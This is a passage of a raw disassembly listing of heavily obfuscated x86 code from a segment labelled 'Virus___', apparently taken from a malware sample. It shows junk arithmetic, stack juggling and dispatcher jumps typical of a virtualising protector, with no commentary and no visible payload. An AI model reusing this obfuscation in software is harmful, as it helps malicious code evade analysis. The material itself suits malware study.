		mov	[esp], eax
		mov	eax, 60C63A88h
		push	7714h
		mov	[esp], eax
		jmp	loc_5584BE
; ---------------------------------------------------------------------------


loc_55691A:				; CODE XREF: Virus___:00561052j
		add	esp, 4
		add	ebx, eax
		pop	eax
		push	ecx
		mov	ecx, 3B0729DAh
		add	ecx, 7B94617h
		jmp	loc_563C4A
; ---------------------------------------------------------------------------


loc_556934:				; CODE XREF: Virus___:0055B765j
		push	5227h
		mov	[esp], edx
		mov	edx, 4
		jmp	loc_5515AA
; ---------------------------------------------------------------------------


loc_556946:				; CODE XREF: Virus___:00558473j
		sub	esi, 7F915FF7h
		mov	eax, esi
		pop	esi
		push	edx
		mov	edx, 2FE94468h
		not	edx
		inc	edx
		dec	edx
		neg	edx
		xor	edx, 51365EF2h
		sub	ebp, edx
		pop	edx
		add	ebp, eax
		push	eax
		mov	eax, 7EDF1A9Bh
		jmp	loc_558A9F
; ---------------------------------------------------------------------------


loc_556971:				; CODE XREF: Virus___:005619C4j
		add	ecx, esi
		pop	esi
		xchg	ecx, [esp]
		mov	esp, [esp]
		add	eax, edi
		pop	edi
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		push	6323h
		mov	[esp], ebx
		push	ebp
		jmp	loc_562DA7
; ---------------------------------------------------------------------------


loc_556996:				; CODE XREF: Virus___:00554D47j
		not	dword ptr [esp]
		pop	ebp
		xchg	ebp, edi
		jmp	loc_553784
; ---------------------------------------------------------------------------


loc_5569A1:				; CODE XREF: Virus___:0055D5D8j
		mov	esi, 45CC54E6h
		not	esi
		and	esi, 2C7101F6h
		jmp	loc_55909F
; ---------------------------------------------------------------------------


loc_5569B3:				; CODE XREF: Virus___:00561A1Ej
		mov	esp, [esp]
		mov	[esp], edx
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_5569BE:				; CODE XREF: Virus___:005641C3j
		shr	eax, 7
		jmp	loc_55BCAD
; ---------------------------------------------------------------------------


loc_5569C6:				; CODE XREF: Virus___:0055C507j
		pop	ebx
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_55D029
; ---------------------------------------------------------------------------


loc_5569D5:				; CODE XREF: Virus___:0055B3A2j
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_5569E1:				; CODE XREF: Virus___:0056254Ej
		mov	[esp], esi
		mov	esi, esp
		push	2D0Eh
		jmp	loc_562859
; ---------------------------------------------------------------------------


loc_5569F0:				; CODE XREF: Virus___:0054FAB4j
		push	dword ptr [esp]
		jmp	loc_55CF82
; ---------------------------------------------------------------------------


loc_5569F8:				; CODE XREF: Virus___:00560EE8j
		push	eax
		mov	eax, 1A641B09h
		shr	eax, 5
		jmp	loc_56165C
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	word ptr [esp],	cl
		pushf
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_556A16:				; CODE XREF: Virus___:0056340Ej
		push	ebp
		push	6830h
		mov	[esp], esi
		push	ecx
		jmp	loc_55740D
; ---------------------------------------------------------------------------


loc_556A25:				; CODE XREF: Virus___:0055BFD2j
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		push	7BD3h
		mov	[esp], ebp
		jmp	loc_557B1E
; ---------------------------------------------------------------------------


loc_556A3B:				; CODE XREF: Virus___:005521DAj
		mov	ebx, edi
		jmp	loc_55F70B
; ---------------------------------------------------------------------------


loc_556A42:				; CODE XREF: Virus___:00552350j
		mov	edx, 40CA13E7h
		xor	edx, 25FE4225h
		neg	edx
		and	edx, 687C6A25h
		jmp	loc_55808F
; ---------------------------------------------------------------------------


loc_556A5A:				; CODE XREF: Virus___:0054F996j
		sub	ebx, edi
		pop	edi
		jmp	loc_5647B3
; ---------------------------------------------------------------------------


loc_556A62:				; CODE XREF: Virus___:00552256j
		pop	ax
		push	eax
		push	ebx
		jmp	loc_553D5F
; ---------------------------------------------------------------------------


loc_556A6B:				; CODE XREF: Virus___:0055B338j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	eax, ecx
		pop	ecx
		sub	eax, 64E68CDh
		xor	eax, 3BC56BFCh
		mov	edx, eax
		pop	eax
		sub	esi, 6A5166FBh
		add	esi, edx
		add	esi, 6A5166FBh
		mov	edx, [esp]
		add	esp, 4
		push	6643h
		jmp	loc_55437F
; ---------------------------------------------------------------------------


loc_556AA3:				; CODE XREF: Virus___:00556BDBj
		push	1F51h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 524D4DDAh
		jmp	loc_55E61A
; ---------------------------------------------------------------------------


loc_556AC8:				; CODE XREF: Virus___:005515B3j
		add	ebx, 52BC2DF0h
		add	ebx, ebp
		sub	ebx, 52BC2DF0h
		push	ecx
		mov	ecx, 1B6469EDh
		or	ecx, 589B626Dh
		jmp	loc_555323
; ---------------------------------------------------------------------------


loc_556AE7:				; CODE XREF: Virus___:0055E868j
		pop	ecx
		sub	ecx, 2A6563F9h
		pop	ebx
		jmp	loc_562CDD
; ---------------------------------------------------------------------------


loc_556AF4:				; CODE XREF: Virus___:00550187j
		and	edi, 7A8A5A89h
		not	edi
		not	edi
		sub	edi, 0F9510B83h
		xor	edx, edi
		mov	edi, [esp]
		add	esp, 4
		xor	edx, 394C26ECh
		xchg	ecx, edx
		not	ecx
		xchg	ecx, edx
		sub	edx, 3FCA8E4Ch
		add	edi, edx
		pop	edx
		push	edi
		xor	dword ptr [esp], 6EFA44C5h
		jmp	loc_564793
; ---------------------------------------------------------------------------


loc_556B2E:				; CODE XREF: Virus___:0055A2A2j
		add	ebx, 493F5A93h
		mov	esi, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		jmp	loc_561B7D
; ---------------------------------------------------------------------------


loc_556B45:				; CODE XREF: Virus___:00553810j
		sub	ecx, 68E57B3h
		pop	edx
		pop	edx
		sub	edx, 39984291h
		add	edx, ecx
		push	ebp
		mov	ebp, 68BA087Eh
		and	ebp, 0E8B09C0h
		jmp	loc_55941A
; ---------------------------------------------------------------------------


loc_556B66:				; CODE XREF: Virus___:0055FD6Fj
		mov	ebp, edi
		pop	edi
		jmp	loc_56214B
; ---------------------------------------------------------------------------


loc_556B6E:				; CODE XREF: Virus___:00552B43j
		inc	edx
		inc	edx
		jmp	loc_563512
; ---------------------------------------------------------------------------


loc_556B75:				; CODE XREF: Virus___:0056044Aj
		and	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_56222B
		push	dword ptr [edi+1Ch]
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_564656
; ---------------------------------------------------------------------------


loc_556B93:				; CODE XREF: Virus___:00555C82j
		mov	bh, dh
		mov	ah, bh
		pop	ebx
		mov	cl, ah
		pop	eax
		pop	edx
		shr	cl, 7
		push	eax
		jmp	loc_5529F8
; ---------------------------------------------------------------------------


loc_556BA5:				; CODE XREF: Virus___:00551C7Cj
		xor	esi, [esp]
		pop	esp
		jmp	loc_55E592
; ---------------------------------------------------------------------------


loc_556BAE:				; CODE XREF: Virus___:00559D82j
		push	eax
		mov	eax, 0FF583920h
		xor	edi, eax
		mov	eax, [esp]
		jmp	loc_5591BC
; ---------------------------------------------------------------------------


loc_556BBE:				; CODE XREF: Virus___:00559A34j
		push	1E1Eh
		jmp	loc_55F364
; ---------------------------------------------------------------------------


loc_556BC8:				; CODE XREF: Virus___:0055F660j
		sub	cl, 0A2h
		jmp	loc_55B63B
; ---------------------------------------------------------------------------


loc_556BD0:				; CODE XREF: Virus___:0056475Aj
		pop	ebp
		jmp	loc_56400B
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ecx
		jmp	loc_556AA3
; ---------------------------------------------------------------------------


loc_556BE0:				; CODE XREF: Virus___:00557E3Cj
		add	esp, 4
		jmp	loc_5590B4
; ---------------------------------------------------------------------------


loc_556BEB:				; CODE XREF: Virus___:00560B85j
		add	ebp, eax
		push	dword ptr [esp]
		jmp	loc_55FBC8
; ---------------------------------------------------------------------------


loc_556BF5:				; CODE XREF: Virus___:0056356Bj
		pop	edi
		add	ecx, 0AE9146Ch
		add	ebx, 7C1D7450h
		jmp	loc_56024A
; ---------------------------------------------------------------------------


loc_556C07:				; CODE XREF: Virus___:00551055j
		shr	ebx, 1
		sub	ebx, 0AC2EE61Ch
		mov	edx, ebx
		pop	ebx
		neg	edx
		inc	edx
		not	edx
		add	edx, 8683D522h
		add	ebx, edx
		pop	edx
		add	ebx, 4
		jmp	loc_56350A
; ---------------------------------------------------------------------------


loc_556C28:				; CODE XREF: Virus___:0055EF2Bj
		sub	eax, 4CEB387Fh
		push	ecx
		mov	ecx, 42B327D5h
		jmp	loc_550491
; ---------------------------------------------------------------------------


loc_556C38:				; CODE XREF: Virus___:00560D3Cj
		xor	edi, [esp]
		pop	esp
		push	1737h
		mov	[esp], ebp
		push	ecx
		mov	ecx, 257B11DDh
		mov	ebp, ecx
		pop	ecx
		jmp	loc_5578A4
; ---------------------------------------------------------------------------


loc_556C52:				; CODE XREF: Virus___:00551D80j
		mov	edx, 4
		add	edi, 2CB1573h
		jmp	loc_55D3BF
; ---------------------------------------------------------------------------


loc_556C62:				; CODE XREF: Virus___:0055301Dj
		add	eax, ebx
		jmp	loc_55D371
; ---------------------------------------------------------------------------


loc_556C69:				; CODE XREF: Virus___:0055FF6Fj
		mov	eax, edi
		jmp	loc_564B56
; ---------------------------------------------------------------------------


loc_556C70:				; CODE XREF: Virus___:005546A9j
		mov	[esp], esi
		jmp	loc_561640
; ---------------------------------------------------------------------------


loc_556C78:				; CODE XREF: Virus___:0055A36Fj
		push	eax
		jmp	loc_552FDE
; ---------------------------------------------------------------------------


loc_556C7E:				; CODE XREF: Virus___:00558AF2j
		shr	edi, 8
		dec	edi
		jmp	loc_554930
; ---------------------------------------------------------------------------


loc_556C87:				; CODE XREF: Virus___:005621A4j
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	edx
		push	1A12h
		mov	[esp], ebx
		push	eax
		push	65B44ED2h
		pop	eax
		add	eax, 1
		or	eax, 2A8876EEh
		and	eax, 69580699h
		xor	eax, 4E8E158Eh
		mov	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_554942
; ---------------------------------------------------------------------------


loc_556CC8:				; CODE XREF: Virus___:0054F9C7j
		sub	ebx, edx
		pop	edx
		add	ebx, 779D60E0h
		sub	ebx, ecx
		sub	ebx, 779D60E0h
		add	ebx, 787304F8h
		pop	ecx
		jmp	loc_555CC0
; ---------------------------------------------------------------------------


loc_556CE5:				; CODE XREF: Virus___:0055F3FBj
		add	ah, ch
		mov	ecx, [esp]
		jmp	loc_5558D1
; ---------------------------------------------------------------------------


loc_556CEF:				; CODE XREF: Virus___:005532DEj
		push	31BEh
		mov	[esp], ebx
		mov	esi, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_55D1E0
; ---------------------------------------------------------------------------


loc_556D14:				; CODE XREF: Virus___:005583E7j
		sub	esi, 27B53C31h
		pop	ebx
		sub	esi, eax
		sub	esi, 580A64BEh
		pop	eax
		jmp	loc_56230C
; ---------------------------------------------------------------------------


loc_556D29:				; CODE XREF: Virus___:00553D5Aj
		xor	edx, 5BD26207h
		xor	eax, edx
		pop	edx
		mov	ebp, [esp]
		add	esp, 4
		push	ecx
		push	edx
		mov	edx, 1BF065D9h
		mov	ecx, 2C589EBDh
		sub	ecx, 5F6F698Dh
		add	ecx, edx
		add	ecx, 5F6F698Dh
		pop	edx
		and	eax, ecx
		pop	ecx
		push	ebp
		push	0F7F7FC7Ch
		jmp	loc_553870
; ---------------------------------------------------------------------------


loc_556D64:				; CODE XREF: Virus___:0055D16Fj
		push	ebp
		mov	ebp, 78D0134Ah
		xor	ebp, 1FB30097h
		shl	ebp, 1
		push	esi
		mov	esi, 57A8DD8Dh
		sub	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		sub	ebx, ebp
		pop	ebp
		add	ebx, edi
		add	ebx, 771D4A2Dh
		push	dword ptr [ebx]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55AD10
; ---------------------------------------------------------------------------


loc_556D9B:				; CODE XREF: Virus___:0055A0DDj
		add	esp, 4
		jmp	loc_553197
; ---------------------------------------------------------------------------


loc_556DA3:				; CODE XREF: Virus___:00564B1Fj
		pop	ecx
		xor	bl, al
		push	4C67h
		mov	[esp], edi
		push	esp
		jmp	loc_5545E8
; ---------------------------------------------------------------------------


loc_556DB4:				; CODE XREF: Virus___:0055E9C7j
		push	ebx
		mov	ebx, 565E000Dh
		inc	ebx
		push	ecx
		push	358B52B2h
		jmp	loc_56097B
; ---------------------------------------------------------------------------


loc_556DC6:				; CODE XREF: Virus___:00553F7Aj
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_55FB2F
; ---------------------------------------------------------------------------


loc_556DD0:				; CODE XREF: Virus___:0055E2DCj
		mov	ebx, [esp]
		add	esp, 4
		add	ebp, 0F2279A35h
		mov	ebx, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		push	2E2h
		mov	[esp], ecx
		mov	ecx, 6DCB5C54h
		xor	ecx, 0FEC4ADBh
		xor	ecx, 0FEB678Ah
		neg	ecx
		xor	ecx, 0FEF2E478h
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 50964B66h
		and	edx, 75BB17F4h
		xor	edx, 4A26629Fh
		jmp	loc_553B93
; ---------------------------------------------------------------------------


loc_556E30:				; CODE XREF: Virus___:0055CDEFj
		pop	esi
		sub	ecx, 0FFFFFFFFh
		push	edx
		mov	edx, 2812E35h
		sub	ecx, 17682017h
		sub	ecx, edx
		push	edx
		mov	edx, 549B4E21h
		jmp	loc_560065
; ---------------------------------------------------------------------------


loc_556E50:				; CODE XREF: Virus___:00559537j
		pop	edi
		jmp	loc_551D16
; ---------------------------------------------------------------------------


loc_556E56:				; CODE XREF: Virus___:00556F43j
		shl	bh, 3
		or	bh, 0A1h
		jmp	loc_557137
; ---------------------------------------------------------------------------


loc_556E61:				; CODE XREF: Virus___:005565A3j
		pop	esp
		xor	bx, ax
		movzx	eax, ax
		push	eax
		push	esp
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_559231
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_55BC64
; ---------------------------------------------------------------------------


loc_556E8A:				; CODE XREF: Virus___:005601F1j
		dec	dword ptr [esp]
		not	dword ptr [esp]
		pop	ebx
		shr	ebx, 7
		xor	ebx, 5B649E82h
		mov	ecx, ebx
		pop	ebx
		add	dword ptr [esp+8], 7A066F8Fh
		add	[esp+8], ecx
		sub	dword ptr [esp+8], 7A066F8Fh
		mov	ecx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_55D7BB
; ---------------------------------------------------------------------------


loc_556EC0:				; CODE XREF: Virus___:0055370Aj
		add	edx, eax
		pop	eax
		xchg	edx, [esp]
		mov	esp, [esp]
		btc	[esp], ax
		pushf
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_556ED4:				; CODE XREF: Virus___:0055AB07j
		mov	ebp, 41873083h
		dec	ebp
		inc	ebp
		push	edx
		mov	edx, 3320417Fh
		and	edx, 0F991394h
		inc	edx
		not	edx
		sub	edx, 0A5451D88h
		add	ebp, edx
		jmp	loc_562271
; ---------------------------------------------------------------------------


loc_556EF7:				; CODE XREF: Virus___:0055DE47j
		add	ecx, 70E0792Dh
		jmp	loc_55243E
; ---------------------------------------------------------------------------


loc_556F02:				; CODE XREF: Virus___:0055FDFBj
		push	eax
		mov	eax, 12044AF1h
		jmp	loc_54FF8C
; ---------------------------------------------------------------------------


loc_556F0D:				; CODE XREF: Virus___:00559245j
		inc	edi
		xor	edi, 5659188Fh
		push	ecx
		mov	ecx, 6D24AC7h
		sub	edi, ecx
		jmp	loc_55A861
; ---------------------------------------------------------------------------


loc_556F21:				; CODE XREF: Virus___:00552E9Dj
		sub	cl, 0E7h
		pop	eax
		xor	al, cl
		jmp	loc_55E541
; ---------------------------------------------------------------------------


loc_556F2C:				; CODE XREF: Virus___:0056079Cj
		mov	[esp], ecx
		jmp	loc_55F620
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	4341h
		mov	[esp], ebx
		mov	bh, 0D6h
		not	bh
		jmp	loc_556E56
; ---------------------------------------------------------------------------


loc_556F48:				; CODE XREF: Virus___:00550836j
		push	edi
		mov	edi, 12A0442h
		mov	eax, 41594E09h
		xor	eax, edi
		pop	edi
		mov	ebx, eax
		jmp	loc_563900
; ---------------------------------------------------------------------------


loc_556F5D:				; CODE XREF: Virus___:00552315j
		shr	edx, 1
		xor	edx, 5B294097h
		push	edi
		jmp	loc_55E66E
; ---------------------------------------------------------------------------


loc_556F6B:				; CODE XREF: Virus___:0055C17Bj
		add	[esp+4], ebx
		sub	dword ptr [esp+4], 535C1D54h
		pop	ebx
		pop	eax
		push	edx
		push	esi
		mov	esi, 1AF252D0h
		sub	esi, 1AF252CCh
		mov	edx, esi
		pop	esi
		sub	eax, 70A54FD4h
		add	eax, edx
		push	edi
		mov	edi, 16777E20h
		add	edi, 5A590BB8h
		jmp	loc_55C06D
; ---------------------------------------------------------------------------


loc_556FA1:				; CODE XREF: Virus___:0055D592j
		mov	eax, 4EB869B0h
		dec	eax
		inc	eax
		jmp	loc_54FE91
; ---------------------------------------------------------------------------


loc_556FAD:				; CODE XREF: Virus___:0055C5EEj
		push	edi
		mov	edi, 4
		jmp	loc_55DF4B
; ---------------------------------------------------------------------------


loc_556FB8:				; CODE XREF: Virus___:00562B4Aj
		mov	[esp], eax
		jmp	loc_56074E
; ---------------------------------------------------------------------------


loc_556FC0:				; CODE XREF: Virus___:005612EBj
		pop	esi
		or	esi, 7CF625E6h
		add	esi, 1A395E6Fh
		xor	esi, 982FCE61h
		mov	ebx, esi
		jmp	loc_557D7D
; ---------------------------------------------------------------------------


loc_556FDA:				; CODE XREF: Virus___:00564252j
		mov	ebp, 4
		sub	edx, 30767176h
		push	esi
		mov	esi, 25E94E74h
		jmp	loc_560CE4
; ---------------------------------------------------------------------------


loc_556FF0:				; CODE XREF: Virus___:00551E09j
		dec	cl
		add	cl, 0F6h
		jmp	loc_55282F
; ---------------------------------------------------------------------------


loc_556FFA:				; CODE XREF: Virus___:0056246Bj
		mov	ecx, 64754385h
		and	edi, ecx
		pop	ecx
		neg	edi
		sub	edi, 840DF6FAh
		sub	esi, edi
		pop	edi
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_558289
; ---------------------------------------------------------------------------


loc_557018:				; CODE XREF: Virus___:00556472j
		shl	eax, 2
		sub	eax, 0FFFFFFFFh
		add	eax, 320210B1h
		add	esi, eax
		jmp	loc_56083E
; ---------------------------------------------------------------------------


loc_55702A:				; CODE XREF: Virus___:0055F9EBj
		pop	ecx
		xchg	eax, [esp]
		jmp	loc_558C5B
; ---------------------------------------------------------------------------


loc_557033:				; CODE XREF: Virus___:00561F84j
		add	eax, 4
		push	ebp
		mov	ebp, 13E147C8h
		dec	ebp
		add	ebp, 0EC1EB83Dh
		sub	eax, ebp
		jmp	loc_564A5F
; ---------------------------------------------------------------------------


loc_55704C:				; CODE XREF: Virus___:005542EFj
		add	edx, 36A736D8h
		add	edx, ebp
		sub	edx, 36A736D8h
		push	esi
		mov	esi, 4414539Ch
		add	esi, 0C79CFB3Bh
		sub	edx, esi
		pop	esi
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_552ED5
; ---------------------------------------------------------------------------


loc_557077:				; CODE XREF: Virus___:0055DE6Dj
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		mov	ah, 0F8h
		push	ebx
		mov	bl, 24h
		jmp	loc_560460
; ---------------------------------------------------------------------------


loc_55709F:				; CODE XREF: Virus___:005616A2j
		sub	dword ptr [esp+8], 5F1F48C7h
		sub	[esp+8], edx
		add	dword ptr [esp+8], 5F1F48C7h
		pop	edx
		pop	eax
		push	dword ptr [esp]
		pop	ebx
		push	1E02h
		mov	[esp], ecx
		push	5558h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_562A20
; ---------------------------------------------------------------------------


loc_5570E5:				; CODE XREF: Virus___:00562854j
		pop	ebp
		sub	ecx, 0FFFFFFFFh
		inc	ecx
		jmp	loc_555083
; ---------------------------------------------------------------------------


loc_5570EF:				; CODE XREF: Virus___:0055E888j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	ebp
		mov	ebp, 4
		sub	edx, ebp
		pop	ebp
		xor	edx, [esp]
		jmp	loc_5608AA
; ---------------------------------------------------------------------------


loc_557110:				; CODE XREF: Virus___:00560F37j
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_557115:				; CODE XREF: Virus___:0056448Cj
		pop	esp
		mov	[esp], edx
		mov	edx, 0D006D72h
		or	edx, 22FF5441h
		push	edx
		neg	dword ptr [esp]
		pop	edx
		sub	edx, 0F02A4BDDh
		add	edi, edx
		pop	edx
		jmp	loc_553CB7
; ---------------------------------------------------------------------------


loc_557137:				; CODE XREF: Virus___:00556E5Cj
		not	bh
		xor	bh, 0AEh
		push	cx
		mov	cl, 0FAh
		add	bh, cl
		mov	cx, [esp]
		add	esp, 2
		add	al, 31h
		sub	al, bh
		push	edx
		mov	dl, 39h
		add	dl, 3Eh
		shl	dl, 6
		shr	dl, 1
		neg	dl
		xor	dl, 91h
		sub	al, dl
		pop	edx
		push	dword ptr [esp]
		jmp	loc_5549F6
; ---------------------------------------------------------------------------


loc_557168:				; CODE XREF: Virus___:00561829j
		or	ebx, 34E5037h
		add	ebx, 1
		shr	ebx, 2
		push	eax
		mov	eax, 0E1002126h
		sub	ebx, 440A7C33h
		jmp	loc_55283A
; ---------------------------------------------------------------------------


loc_557185:				; CODE XREF: Virus___:0055FC18j
		mov	[esp], ebp
		push	ebx
		mov	ebx, 11A1FCAh
		jmp	loc_55E47A
; ---------------------------------------------------------------------------


loc_557193:				; CODE XREF: Virus___:00559C4Aj
		pop	esi
		shr	edx, 8
		shr	edx, 6
		sub	edx, 2E3Ah
		sub	ebx, 6C84247Bh
		add	ebx, edx
		push	edx
		jmp	loc_55E291
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_559437
; ---------------------------------------------------------------------------


loc_5571B4:				; CODE XREF: Virus___:005540F6j
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_55FB46
; ---------------------------------------------------------------------------


loc_5571C3:				; CODE XREF: Virus___:005543B4j
		add	cl, 31h
		and	cl, 0ECh
		not	cl
		jmp	loc_564227
; ---------------------------------------------------------------------------


loc_5571D0:				; CODE XREF: Virus___:00550669j
		xor	esi, 0B5B01C1h
		push	esi
		mov	eax, [esp]
		add	esp, 4
		mov	esi, [esp]
		jmp	loc_563F0A
; ---------------------------------------------------------------------------


loc_5571E5:				; CODE XREF: Virus___:0055B32Dj
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_557939
; ---------------------------------------------------------------------------


loc_5571F4:				; CODE XREF: Virus___:005641CEj
		add	esp, 4
		and	bl, 0DBh
		jmp	loc_55FD59
; ---------------------------------------------------------------------------


loc_5571FF:				; CODE XREF: Virus___:00550534j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		push	edi
		mov	edi, 4
		add	[esp+4], edi
		jmp	loc_5598BA
; ---------------------------------------------------------------------------


loc_55721B:				; CODE XREF: Virus___:00551495j
		add	dword ptr [esp], 76E01170h
		pop	eax
		sub	eax, 76E01170h
		jmp	loc_55CFC5
; ---------------------------------------------------------------------------


loc_55722D:				; CODE XREF: Virus___:0055386Bj
		add	edx, eax
		mov	eax, [esp]
		add	esp, 4
		xchg	edx, [esp]
		pop	esp
		add	edx, 4
		push	eax
		mov	eax, 2
		add	edx, 1A8869F3h
		jmp	loc_55ECC7
; ---------------------------------------------------------------------------


loc_557253:				; CODE XREF: Virus___:00559962j
		mov	edi, esp
		add	edi, 4
		jmp	loc_553075
; ---------------------------------------------------------------------------


loc_557260:				; CODE XREF: Virus___:0055E615j
		pop	eax
		std
		push	edi
		push	esi
		jmp	loc_55D0C7
; ---------------------------------------------------------------------------


loc_557269:				; CODE XREF: Virus___:00553B0Ej
		add	ebp, 343374DDh
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5577AB
; ---------------------------------------------------------------------------


loc_55727D:				; CODE XREF: Virus___:00560F44j
		sub	esp, 4
		mov	[esp], edx
		push	6FD72087h
		pop	edx
		add	edx, 9028DF7Dh
		jmp	loc_553506
; ---------------------------------------------------------------------------


loc_557297:				; CODE XREF: Virus___:005553B2j
		dec	edx
		jmp	loc_553B69
; ---------------------------------------------------------------------------


loc_55729D:				; CODE XREF: Virus___:005628B2j
		add	edx, 7ACD3EA4h
		pop	esi
		pop	eax
		shl	edx, 2
		jmp	loc_5530A7
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_5543B0
; ---------------------------------------------------------------------------


loc_5572B3:				; CODE XREF: Virus___:00558A9Aj
		add	esp, 4
		jmp	loc_551DA1
; ---------------------------------------------------------------------------


loc_5572BE:				; CODE XREF: Virus___:00550794j
		add	esi, 49626D0Ah
		or	edi, esi
		jmp	loc_5509E2
; ---------------------------------------------------------------------------


loc_5572CB:				; CODE XREF: Virus___:0055DDB6j
		mov	[esp], ebx
		mov	ebx, 4
		add	ebp, ebx
		push	dword ptr [esp]
		pop	ebx
		push	esi
		jmp	loc_556629
; ---------------------------------------------------------------------------


loc_5572DF:				; CODE XREF: Virus___:00561EE2j
		add	eax, ecx
		sub	eax, 48DB7F08h
		mov	ecx, [esp]
		jmp	loc_55DB45
; ---------------------------------------------------------------------------


loc_5572EE:				; CODE XREF: Virus___:005586F9j
		mov	eax, 7B2C306Fh
		mov	ecx, eax
		pop	eax
		mov	edi, 7B2C3073h
		jmp	loc_55C13C
; ---------------------------------------------------------------------------


loc_557300:				; CODE XREF: Virus___:00558C0Bj
		mov	esi, 4
		add	edx, esi
		pop	esi
		xchg	edx, [esp]
		jmp	loc_554A20
; ---------------------------------------------------------------------------


loc_557310:				; CODE XREF: Virus___:00558852j
		mov	ebp, edi
		pop	edi
		add	esi, 13046C84h
		add	esi, ebp
		jmp	loc_550A2F
; ---------------------------------------------------------------------------


loc_557320:				; CODE XREF: Virus___:0056101Ej
		pop	esi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	61DBh
		mov	[esp], eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		jmp	loc_55930E
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	[esp], al
		pushf
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_55734E:				; CODE XREF: Virus___:0055BCE9j
		pop	dword ptr [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		mov	esp, [esp]
		mul	cl
		movzx	cx, ah
		jmp	loc_560B1A
; ---------------------------------------------------------------------------


loc_557365:				; CODE XREF: Virus___:00558BEBj
		add	esi, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	edi
		jmp	loc_561C19
; ---------------------------------------------------------------------------


loc_557374:				; CODE XREF: Virus___:0055CB64j
		push	edi
		push	ecx
		mov	ecx, 38503170h
		jmp	loc_55F7D0
; ---------------------------------------------------------------------------


loc_557380:				; CODE XREF: Virus___:0055B814j
		push	edi
		mov	edi, 4
		sub	ebp, 0DC04403h
		add	ebp, edi
		add	ebp, 0DC04403h
		jmp	loc_55076D
; ---------------------------------------------------------------------------


loc_557399:				; CODE XREF: Virus___:0054F885j
		shl	eax, 6
		dec	eax
		add	eax, 29959D1h
		shr	eax, 6
		shl	eax, 8
		add	eax, 1B313F04h
		mov	ebx, eax
		pop	eax
		jmp	loc_55B735
; ---------------------------------------------------------------------------


loc_5573B5:				; CODE XREF: Virus___:00554180j
		push	6176h
		mov	[esp], edx
		mov	edx, 2
		add	ebp, 4BAE0955h
		add	ebp, edx
		jmp	loc_55F3D1
; ---------------------------------------------------------------------------


loc_5573CF:				; CODE XREF: Virus___:0055D212j
		xor	edx, 6E9226CEh
		xor	edx, 0C4D5028h
		add	ecx, edx
		pop	edx
		xchg	ecx, [esp]
		jmp	loc_55A0EC
; ---------------------------------------------------------------------------


loc_5573E6:				; CODE XREF: Virus___:0055F900j
		add	ebx, 4
		push	eax
		push	eax
		jmp	loc_55CB0D
; ---------------------------------------------------------------------------


loc_5573F3:				; CODE XREF: Virus___:0055B52Ej
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	esp, 4
		jmp	loc_553BBA
; ---------------------------------------------------------------------------


loc_55740D:				; CODE XREF: Virus___:00556A20j
		push	eax
		jmp	loc_55C3FA
; ---------------------------------------------------------------------------


loc_557413:				; CODE XREF: Virus___:0055FE9Ej
		pop	esi
		add	ecx, ebp
		mov	ebp, [esp]
		jmp	loc_550D92
; ---------------------------------------------------------------------------


loc_55741E:				; CODE XREF: Virus___:00554126j
		mov	[esp], dx
		mov	dl, 0B4h
		jmp	loc_55BF91
; ---------------------------------------------------------------------------


loc_557429:				; CODE XREF: Virus___:00563839j
